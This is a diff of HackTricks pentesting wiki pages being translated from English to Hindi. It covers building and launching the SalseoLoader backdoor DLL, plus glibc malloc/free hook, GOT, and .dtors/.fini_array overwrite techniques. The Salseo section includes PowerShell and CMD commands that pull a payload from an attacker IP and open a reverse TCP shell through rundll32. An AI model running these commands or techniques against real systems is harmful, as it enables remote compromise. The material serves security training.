Press **Uninstall** (yeah, its weird but trust me, it is necessary)
|
||||
**Uninstall** दबाएं (हाँ, यह अजीब है लेकिन मुझ पर विश्वास करें, यह आवश्यक है)
|
||||
|
||||
 (1) (1) (2) (1).png>)
|
||||
|
||||
### **Exit Visual Studio and execute DllExport_configure**
|
||||
### **Visual Studio से बाहर निकलें और DllExport_configure निष्पादित करें**
|
||||
|
||||
Just **exit** Visual Studio
|
||||
बस **बाहर निकलें** Visual Studio
|
||||
|
||||
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat**
|
||||
फिर, अपने **SalseoLoader फ़ोल्डर** में जाएं और **DllExport_Configure.bat** निष्पादित करें
|
||||
|
||||
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
|
||||
**x64** चुनें (यदि आप इसे x64 बॉक्स के अंदर उपयोग करने जा रहे हैं, तो यह मेरा मामला था), **System.Runtime.InteropServices** चुनें ( **DllExport के लिए Namespace** के अंदर) और **Apply** दबाएं
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
### **Open the project again with visual Studio**
|
||||
### **Visual Studio के साथ प्रोजेक्ट फिर से खोलें**
|
||||
|
||||
**\[DllExport]** should not be longer marked as error
|
||||
**\[DllExport]** अब त्रुटि के रूप में चिह्नित नहीं होना चाहिए
|
||||
|
||||
 (1).png>)
|
||||
|
||||
### Build the solution
|
||||
### समाधान का निर्माण करें
|
||||
|
||||
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
|
||||
**Output Type = Class Library** चुनें (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
|
||||
**x64** **प्लेटफ़ॉर्म** चुनें (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
|
||||
**समाधान** का निर्माण करने के लिए: Build --> Build Solution (Output कंसोल के अंदर नए DLL का पथ दिखाई देगा)
|
||||
|
||||
### Test the generated Dll
|
||||
### उत्पन्न Dll का परीक्षण करें
|
||||
|
||||
Copy and paste the Dll where you want to test it.
|
||||
|
||||
Execute:
|
||||
Dll को कॉपी और पेस्ट करें जहाँ आप इसका परीक्षण करना चाहते हैं।
|
||||
|
||||
निष्पादित करें:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
यदि कोई त्रुटि नहीं आती है, तो शायद आपके पास एक कार्यात्मक DLL है!!
|
||||
|
||||
If no error appears, probably you have a functional DLL!!
|
||||
## DLL का उपयोग करके एक शेल प्राप्त करें
|
||||
|
||||
## Get a shell using the DLL
|
||||
|
||||
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
|
||||
|
||||
### Powershell
|
||||
**HTTP** **सर्वर** का उपयोग करना न भूलें और एक **nc** **श्रोता** सेट करें
|
||||
|
||||
### पॉवरशेल
|
||||
```
|
||||
$env:pass="password"
|
||||
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
||||
@ -163,9 +146,7 @@ $env:lport="1337"
|
||||
$env:shell="reversetcp"
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
|
||||
### CMD
|
||||
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
@ -174,5 +155,4 @@ set lport=1337
|
||||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,13 +1,13 @@
|
||||
> [!TIP]
|
||||
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Support HackTricks</summary>
|
||||
> <summary>HackTricks का समर्थन करें</summary>
|
||||
>
|
||||
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
> - [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** का पालन करें।**
|
||||
> - **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
>
|
||||
> </details>
|
||||
|
||||
@ -1,3 +1 @@
|
||||
# Arbitrary Write 2 Exec
|
||||
|
||||
|
||||
# मनमाना लिखें 2 कार्यान्वयन
|
||||
|
||||
@ -4,34 +4,32 @@
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
|
||||
जैसा कि आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे तब कॉल किया जाएगा** जब भी `malloc()` को कॉल किया जाता है **जो libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत होता है**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को कॉल किया जाएगा**।
|
||||
|
||||
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
|
||||
`malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतज़ार करना या **`printf("%10000$c")`** को कॉल करना संभव है, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` `malloc` को हीप में उन्हें आवंटित करने के लिए कॉल करता है।
|
||||
|
||||
More info about One Gadget in:
|
||||
One Gadget के बारे में अधिक जानकारी के लिए:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
> ध्यान दें कि GLIBC >= 2.34 के लिए हुक **निष्क्रिय** हैं। आधुनिक GLIBC संस्करणों पर उपयोग की जाने वाली अन्य तकनीकें हैं। देखें: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
|
||||
## Free Hook
|
||||
|
||||
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
|
||||
इसका दुरुपयोग एक उदाहरण में किया गया था जो एक तेज़ बिन हमले का दुरुपयोग करने के बाद एक अनसॉर्टेड बिन हमले का दुरुपयोग करता है:
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/unsorted-bin-attack.md
|
||||
{{#endref}}
|
||||
|
||||
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
|
||||
|
||||
यदि बाइनरी में प्रतीक हैं तो `__free_hook` का पता लगाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:
|
||||
```bash
|
||||
gef➤ p &__free_hook
|
||||
```
|
||||
|
||||
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
|
||||
[पोस्ट में](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) आप बिना प्रतीकों के फ्री हुक का पता लगाने के लिए चरण-दर-चरण गाइड पा सकते हैं। संक्षेप में, फ्री फ़ंक्शन में:
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||||
0xf75dedc0 <free>: push ebx
|
||||
@ -45,26 +43,26 @@ gef➤ p &__free_hook
|
||||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||||
</code></pre>
|
||||
|
||||
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
|
||||
पिछले कोड में उल्लिखित ब्रेक में `$eax` में फ्री हुक का पता स्थित होगा।
|
||||
|
||||
Now a **fast bin attack** is performed:
|
||||
अब एक **फास्ट बिन अटैक** किया जाता है:
|
||||
|
||||
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
|
||||
- सबसे पहले यह पता लगाया गया है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
|
||||
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
|
||||
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
|
||||
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
|
||||
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित किया जाएगा।
|
||||
- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ दो बार मर्ज की गई फ़ंक्शन को कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक का पॉइंटर प्राप्त करते हैं।
|
||||
- फिर, इस चंक में संपादन फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके।
|
||||
- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि आकार `0x1f8` का एक और चंक बनाया जा सके जो **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करे जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है।
|
||||
- और अंत में, एक चंक जिसमें स्ट्रिंग `/bin/sh\x00` है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जिससे **`__free_hook`** फ़ंक्शन को ट्रिगर किया जाता है जो `/bin/sh\x00` को पैरामीटर के रूप में सिस्टम की ओर इंगित करता है।
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
|
||||
@ -2,63 +2,63 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basic Information**
|
||||
## **बुनियादी जानकारी**
|
||||
|
||||
### **GOT: Global Offset Table**
|
||||
### **GOT: ग्लोबल ऑफसेट टेबल**
|
||||
|
||||
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
|
||||
**ग्लोबल ऑफसेट टेबल (GOT)** एक तंत्र है जो गतिशील रूप से लिंक किए गए बाइनरी में **बाहरी कार्यों के पते** को प्रबंधित करने के लिए उपयोग किया जाता है। चूंकि ये **पते रनटाइम तक ज्ञात नहीं होते** (गतिशील लिंकिंग के कारण), GOT एक तरीका प्रदान करता है जिससे **इन बाहरी प्रतीकों के पते को गतिशील रूप से अपडेट किया जा सके** जब वे हल हो जाते हैं।
|
||||
|
||||
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
|
||||
GOT में प्रत्येक प्रविष्टि उस प्रतीक से संबंधित होती है जो बाहरी पुस्तकालयों में हो सकती है जिसे बाइनरी कॉल कर सकता है। जब एक **कार्य को पहली बार कॉल किया जाता है, तो इसका वास्तविक पता गतिशील लिंकर्स द्वारा हल किया जाता है और GOT में संग्रहीत किया जाता है**। उसी कार्य को बाद में कॉल करने पर GOT में संग्रहीत पते का उपयोग किया जाता है, इस प्रकार फिर से पते को हल करने का ओवरहेड बचता है।
|
||||
|
||||
### **PLT: Procedure Linkage Table**
|
||||
### **PLT: प्रक्रिया लिंक टेबल**
|
||||
|
||||
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
|
||||
**प्रक्रिया लिंक टेबल (PLT)** GOT के साथ निकटता से काम करता है और बाहरी कार्यों को कॉल करने के लिए एक ट्रम्पोलिन के रूप में कार्य करता है। जब एक बाइनरी **पहली बार एक बाहरी कार्य को कॉल करता है, तो नियंत्रण उस कार्य से संबंधित PLT में एक प्रविष्टि को सौंपा जाता है**। यह PLT प्रविष्टि उस कार्य के पते को हल करने के लिए गतिशील लिंकर्स को सक्रिय करने के लिए जिम्मेदार होती है यदि इसे पहले से हल नहीं किया गया है। पते के हल होने के बाद, इसे **GOT** में संग्रहीत किया जाता है।
|
||||
|
||||
**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
|
||||
**इसलिए,** GOT प्रविष्टियाँ सीधे उपयोग की जाती हैं जब एक बाहरी कार्य या चर का पता हल हो जाता है। **PLT प्रविष्टियाँ इन पते को गतिशील लिंकर्स के माध्यम से प्रारंभिक समाधान को सुविधाजनक बनाने के लिए उपयोग की जाती हैं।**
|
||||
|
||||
## Get Execution
|
||||
## निष्पादन प्राप्त करें
|
||||
|
||||
### Check the GOT
|
||||
### GOT की जाँच करें
|
||||
|
||||
Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
|
||||
GOT तालिका का पता प्राप्त करने के लिए: **`objdump -s -j .got ./exec`**
|
||||
|
||||
.png>)
|
||||
|
||||
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
|
||||
देखें कि **GEF** में **कार्यकारी** को **लोड** करने के बाद आप **GOT** में **कार्य** कैसे **देख सकते हैं**: `gef➤ x/20x 0xADDR_GOT`
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
|
||||
GEF का उपयोग करके आप **डिबगिंग** सत्र शुरू कर सकते हैं और GOT तालिका देखने के लिए **`got`** निष्पादित कर सकते हैं:
|
||||
|
||||
.png>)
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
|
||||
एक बाइनरी में GOT के पास **कार्य या** PLT अनुभाग के **पते** होते हैं जो कार्य के पते को लोड करेगा। इस मनमाने लेखन का लक्ष्य एक कार्य के GOT प्रविष्टि को **ओवरराइड करना** है जिसे बाद में **`system`** **कार्य** के PLT के **पते** के साथ निष्पादित किया जाएगा।
|
||||
|
||||
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
|
||||
आदर्श रूप से, आप एक **कार्य** के **GOT** को **ओवरराइड** करेंगे जिसे **आपके द्वारा नियंत्रित पैरामीटर के साथ कॉल किया जाएगा** (ताकि आप सिस्टम कार्य को भेजे गए पैरामीटर को नियंत्रित कर सकें)।
|
||||
|
||||
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
|
||||
यदि **`system`** **बाइनरी द्वारा उपयोग नहीं किया गया है**, तो सिस्टम कार्य का **PLT में कोई प्रविष्टि नहीं होगी**। इस परिदृश्य में, आपको पहले `system` कार्य का पता लीक करना होगा और फिर GOT को इस पते की ओर इंगित करने के लिए ओवरराइड करना होगा।
|
||||
|
||||
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
|
||||
आप PLT पते देख सकते हैं **`objdump -j .plt -d ./vuln_binary`** के साथ।
|
||||
|
||||
## libc GOT entries
|
||||
## libc GOT प्रविष्टियाँ
|
||||
|
||||
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
|
||||
**libc का GOT** आमतौर पर **आंशिक RELRO** के साथ संकलित होता है, जिससे यह इस तकनीक के लिए एक अच्छा लक्ष्य बनता है यदि इसका पता लगाना संभव हो ([**ASLR**](../common-binary-protections-and-bypasses/aslr/))।
|
||||
|
||||
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
|
||||
libc के सामान्य कार्य **अन्य आंतरिक कार्यों** को कॉल करने जा रहे हैं जिनका GOT ओवरराइड किया जा सकता है ताकि कोड निष्पादन प्राप्त किया जा सके।
|
||||
|
||||
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
[**इस तकनीक के बारे में अधिक जानकारी यहाँ प्राप्त करें**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)।
|
||||
|
||||
### **Free2system**
|
||||
|
||||
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
|
||||
हीप शोषण CTFs में यह सामान्य है कि आप चंक्स की सामग्री को नियंत्रित कर सकें और किसी बिंदु पर GOT तालिका को भी ओवरराइड कर सकें। यदि एक गैजेट उपलब्ध नहीं है तो RCE प्राप्त करने के लिए एक सरल चाल `free` GOT पते को `system` की ओर इंगित करना और एक चंक में `"/bin/sh"` लिखना है। इस तरह जब इस चंक को मुक्त किया जाएगा, यह `system("/bin/sh")` को निष्पादित करेगा।
|
||||
|
||||
### **Strlen2system**
|
||||
|
||||
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
|
||||
एक और सामान्य तकनीक **`strlen`** GOT पते को **`system`** की ओर इंगित करना है, ताकि यदि इस कार्य को उपयोगकर्ता इनपुट के साथ कॉल किया जाए तो यह संभव हो कि स्ट्रिंग `"/bin/sh"` पास की जाए और एक शेल प्राप्त किया जा सके।
|
||||
|
||||
Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
|
||||
इसके अलावा, यदि `puts` का उपयोग उपयोगकर्ता इनपुट के साथ किया जाता है, तो `strlen` GOT पते को `system` की ओर इंगित करने के लिए ओवरराइड करना संभव है और स्ट्रिंग `"/bin/sh"` पास करना संभव है ताकि एक शेल प्राप्त किया जा सके क्योंकि **`puts` उपयोगकर्ता इनपुट के साथ `strlen` को कॉल करेगा**।
|
||||
|
||||
## **One Gadget**
|
||||
|
||||
@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str
|
||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||
{{#endref}}
|
||||
|
||||
## **Abusing GOT from Heap**
|
||||
## **हीप से GOT का दुरुपयोग करना**
|
||||
|
||||
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
|
||||
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
|
||||
हीप भेद्यता से RCE प्राप्त करने का एक सामान्य तरीका एक फास्टबिन का दुरुपयोग करना है ताकि GOT तालिका के भाग को फास्ट बिन में जोड़ा जा सके, ताकि जब भी उस चंक को आवंटित किया जाएगा, यह संभव होगा कि **एक कार्य के पते को ओवरराइड किया जा सके, आमतौर पर `free`**।\
|
||||
फिर, `free` को `system` की ओर इंगित करना और एक चंक को मुक्त करना जहाँ `/bin/sh\x00` लिखा गया था, एक शेल को निष्पादित करेगा।
|
||||
|
||||
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
|
||||
यहाँ एक [**उदाहरण पाया जा सकता है**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**।**
|
||||
|
||||
## **Protections**
|
||||
## **सुरक्षाएँ**
|
||||
|
||||
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
|
||||
**पूर्ण RELRO** सुरक्षा इस प्रकार की तकनीक के खिलाफ सुरक्षा के लिए बनाई गई है, सभी कार्यों के पते को बाइनरी शुरू होने पर हल करके और इसके बाद **GOT तालिका को केवल पढ़ने योग्य** बनाकर:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
|
||||
@ -5,52 +5,48 @@
|
||||
## .dtors
|
||||
|
||||
> [!CAUTION]
|
||||
> Nowadays is very **weird to find a binary with a .dtors section!**
|
||||
> आजकल एक बाइनरी में .dtors सेक्शन मिलना बहुत **अजीब है!**
|
||||
|
||||
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
|
||||
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
|
||||
|
||||
Get the address of this section with:
|
||||
डिस्ट्रक्टर्स वे फ़ंक्शन हैं जो **कार्यक्रम समाप्त होने से पहले** (जब `main` फ़ंक्शन लौटता है) **निष्पादित** होते हैं।\
|
||||
इन फ़ंक्शनों के पते बाइनरी के **`.dtors`** सेक्शन के अंदर संग्रहीत होते हैं और इसलिए, यदि आप **`__DTOR_END__`** में **शेलकोड** के लिए **पता लिखने** में सफल होते हैं, तो वह **कार्यक्रम समाप्त होने से पहले** **निष्पादित** होगा।
|
||||
|
||||
इस सेक्शन का पता प्राप्त करें:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
|
||||
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
|
||||
आमतौर पर आप **DTOR** मार्कर **मानों** `ffffffff` और `00000000` के बीच पाएंगे। इसलिए यदि आप केवल उन मानों को देखते हैं, तो इसका मतलब है कि कोई **फंक्शन पंजीकृत नहीं है**। इसलिए **`00000000`** को **shellcode** के **पते** से **ओवरराइट** करें ताकि इसे निष्पादित किया जा सके।
|
||||
|
||||
> [!WARNING]
|
||||
> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
|
||||
> बेशक, आपको पहले **shellcode को स्टोर करने के लिए एक स्थान** ढूंढना होगा ताकि बाद में इसे कॉल किया जा सके।
|
||||
|
||||
## **.fini_array**
|
||||
|
||||
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
|
||||
|
||||
आधारभूत रूप से यह एक संरचना है जिसमें **फंक्शन होते हैं जो प्रोग्राम समाप्त होने से पहले कॉल किए जाएंगे**, जैसे **`.dtors`**। यह दिलचस्प है यदि आप अपने **shellcode को केवल एक पते पर कूदकर** कॉल कर सकते हैं, या उन मामलों में जहां आपको **फिर से `main`** पर वापस जाना है ताकि **दूसरी बार भेद्यता का शोषण** किया जा सके।
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
./greeting: file format elf32-i386
|
||||
|
||||
Contents of section .fini_array:
|
||||
8049934 a0850408
|
||||
8049934 a0850408
|
||||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
ध्यान दें कि जब **`.fini_array`** से कोई फ़ंक्शन निष्पादित होता है, तो यह अगले फ़ंक्शन पर चला जाता है, इसलिए इसे कई बार निष्पादित नहीं किया जाएगा (अनंत लूप को रोकना), लेकिन यह केवल यहाँ रखे गए फ़ंक्शन का 1 **निष्पादन** देगा।
|
||||
|
||||
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
|
||||
ध्यान दें कि `.fini_array` में प्रविष्टियाँ **विपरीत** क्रम में कॉल की जाती हैं, इसलिए आप शायद अंतिम प्रविष्टि से लिखना शुरू करना चाहेंगे।
|
||||
|
||||
